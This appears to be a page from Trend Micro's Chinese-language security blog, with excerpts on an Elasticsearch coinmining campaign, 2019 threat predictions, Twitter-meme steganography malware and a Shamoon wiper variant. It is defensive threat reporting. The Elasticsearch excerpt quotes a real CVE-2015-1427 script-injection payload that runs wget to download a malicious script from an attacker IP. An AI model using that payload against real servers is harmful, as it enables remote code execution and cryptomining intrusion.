趨勢科技 TrendMicro | 資安趨勢部落格

虛擬貨幣病毒透過 Elasticsearch 舊漏洞散播

2018 年 12 月 21 日2018 年 12 月 19 日趨勢科技 TrendMicro

趨勢科技曾在蜜罐系統上發現了關於搜尋引擎 Elasticsearch （用Lucene程式庫開發的開放原始碼Java搜尋引擎）的惡意挖礦( coinmining )活動。這波攻擊利用了漏洞CVE-2015-1427（位在Groovy 腳本引擎，讓遠端攻擊者可以用特製腳本來執行任意 shell 命令）以及CVE-2014-320（Elasticsearch預設設定內的漏洞）。Elasticsearch已經不再支援有漏洞的版本。

我們在運行Elasticsearch的伺服器上發現帶有以下命令的查詢（ISC也在一篇文章中提到）：

“{“lupin”:{“script”: “java.lang.Math.class.forName(\”java.lang.Runtime\”).getRuntime().exec(\”wget hxxp://69[.]30[.]203[.]170/gLmwDU86r9pM3rXf/update.sh -P

/tmp/sssooo\”).getText()”}}}”

這命令是由同個系統/攻擊主機執行，後續病毒也是放在此主機上。在本文編寫時，使用此IP的是網域matrixhazel[.]com（無法連上）。此系統安裝的是CentOS 6，同時運行了網頁伺服器和SSH伺服器。

圖1、GreyNotes將此這主機標記為已知掃描器

要注意的是，這種攻擊並不新鮮，只是最近又重新出現。趨勢科技的Smart Protection Network 11月在多個地區偵測到虛擬貨幣挖礦病毒，包括了台灣、中國和美國。

挖礦病毒散播bash腳本update.sh的方式是先調用shell來下載並輸出成檔案“/tmp/sssooo“（因為大多數系統對/tmp的限制較少）。

這種攻擊簡單卻會對受害者產生重大的影響。一旦攻擊者可以在系統上執行任意命令，就可以提升權限，甚至將目標轉向其他系統來進一步地入侵網路。

還應該注意的是，雖然大多數案例的攻擊手法相同，但所使用的惡意檔案可能不同。在我們所分析的案例中，使用的是update.sh。一但執行腳本update.sh就會下載檔案devtools和config.json。接著就會部署虛擬貨幣挖礦病毒（趨勢科技偵測為 Coinminer.Linux.MALXMR.UWEIS)。繼續閱讀

趨勢科技公布2019資安預測：資料外洩攻擊白熱化、網路釣魚攻擊件數明顯大增、工控系統威脅持續升高

2018 年 12 月 19 日2018 年 12 月 19 日趨勢科技 TrendMicro

企業與個人資安意識內化，採取跨世代防護技術多層式保護連網安全

【2018年12月19日，台北訊】全球網路資安解決方案領導廠商趨勢科技（東京證券交易所股票代碼：4704）發表2019年資安年度預測報告，針對網路安全威脅與網路犯罪攻擊趨勢，提出三大重點警示：憑證資料外洩遭盜用詐騙事件將不斷增加、網路釣魚攻擊手段將取代漏洞攻擊套件成為主要攻擊手法以及工控系統的安全性持續受到威脅。

趨勢科技臺灣區暨香港區總經理洪偉淦表示：「回顧今年全球資安政策推動，可觀察到各組織及企業對於資料安全的重視; 重大資訊安全事件的發生亦凸顯連網裝置普及所面臨的資安問題。預期在2019年企業和組織將導入更多連網設備，而連網速度也將大幅提升，資訊安全將面臨更廣泛與多元的挑戰，不僅企業對於資訊安全團隊的需求將提高，多層式智能防護的資安政策將在企業經營中扮演關鍵的角色，企業領導人對於網路安全的重視及培養經營團隊資安意識，更是建構自身企業網路安全防護架構的重要基石。」

趨勢科技台灣區暨香港區總經理洪偉淦於2019年資安預測媒體活動中表示，預期2019年企業和組織將導入更多連網設備，資訊安全策略將成為企業營運關鍵

繼續閱讀

駭客利用 Twitter 發送 Meme迷因梗圖,藉圖像隱碼術( Steganography )躲避偵測

2018 年 12 月 19 日2018 年 12 月 19 日趨勢科技 TrendMicro

圖像隱碼術(Steganography) – 將惡意檔案藏在圖片中來躲避偵測的方法，一直以來都被駭客用來散播惡意軟體或進行其他惡意攻擊。趨勢科技最近發現有駭客在「MEME」迷因圖(梗圖)上使用了這種技術。在10月25日和26日，攻擊者透過一個在2017年建立的 Twitter 帳號發表了兩條包含惡意Meme迷因圖的推文。圖內嵌了命令，讓惡意軟體從惡意 Twitter 帳號下載到受害者電腦後加以解析。變成電腦內惡意軟體的C&C服務。但要注意的是，惡意軟體並非從 Twitter下載，我們也沒有觀察到惡意軟體是用哪種機制散播給受害者。

編按:「Meme」指在網路上快速傳播擴散的爆紅內容,也有用發音/miːm/直譯為「迷因」, Meme圖通常指具有某種梗的圖片。

這個新威脅（偵測為TROJAN.MSIL.BERBOMTHUM.AA）值得注意的地方在於，惡意軟體透過合法服務（也是熱門的社群網路平台）接收命令，使用看似正常實為惡意的Meme迷因圖，而且除非關閉惡意Twitter帳號，不然無法中斷此威脅。Twitter在2018年12月13日已經關閉了該帳號。

隱藏在所提到圖片中的命令是「/print」，指示惡意軟體擷取受感染電腦的螢幕截圖。螢幕截圖會被送到駭客控制的C&C伺服器（利用pastebin.com來取得網址）。

截取受感染電腦螢幕截圖回傳給駭客

趨勢科技發現，一旦惡意軟體在受感染電腦上執行，就會將從Twitter帳戶下載惡意Meme迷因圖到受害者電腦上。接著會取出圖內所藏的命令，在此次案例中是「print」命令，讓惡意軟體截取受感染電腦的螢幕截圖。接著惡意軟體會從Pastebin取得C&C伺服器資訊。再將所收集的資訊或命令輸出上傳到指定網址，傳送給攻擊者。

圖1、顯示Pastebin網址的惡意軟體程式碼

在分析過程中，我們看到Pastebin取得的網址指向內部或私有IP地址，這可能只是攻擊者臨時的設定。

圖2、Pastebin取得的網址指向私有IP地址

繼續閱讀

【資安】曾攻擊全球最大石油公司Shamoon/Disttrack 磁碟清除病毒,出現了新變種：你需要知道什麼

2018 年 12 月 19 日2018 年 12 月 24 日趨勢科技 TrendMicro

2012年全球最大石油公司遭駭 75%電腦受感染, 資安專家分析，造成3萬部電腦受影響的就是Shamoon病毒。2016年媒體報導沙烏地阿拉伯遭到「國家級」駭客攻擊 ,Shamoon 惡意程式出現升級版，攻擊沙國數個政府機關。近日趨勢科技看到了惡名昭彰的磁碟清除病毒Shamoon（又稱Disttrack）出現更新版本的報導。同時也發現了好幾個此版本Shamoon 的樣本（趨勢科技偵測為Trojan.Win32.DISTTRACK.AA和 Trojan.Win64.DISTTRACK.AA）。雖然無法確認此版本的病毒是否真的有在外面散播，但我們正在分析此病毒來確認其功能，因為它所可能帶來的破壞性影響。

趨勢科技的趨勢科技XGen™ 防護透過主動式技術（如行為分析和高保真機器學習）能夠保護使用者和企業不會遭受此磁碟清除病毒影響。以下是使用者和企業關於最新的Shamoon病毒所需要知道的資訊：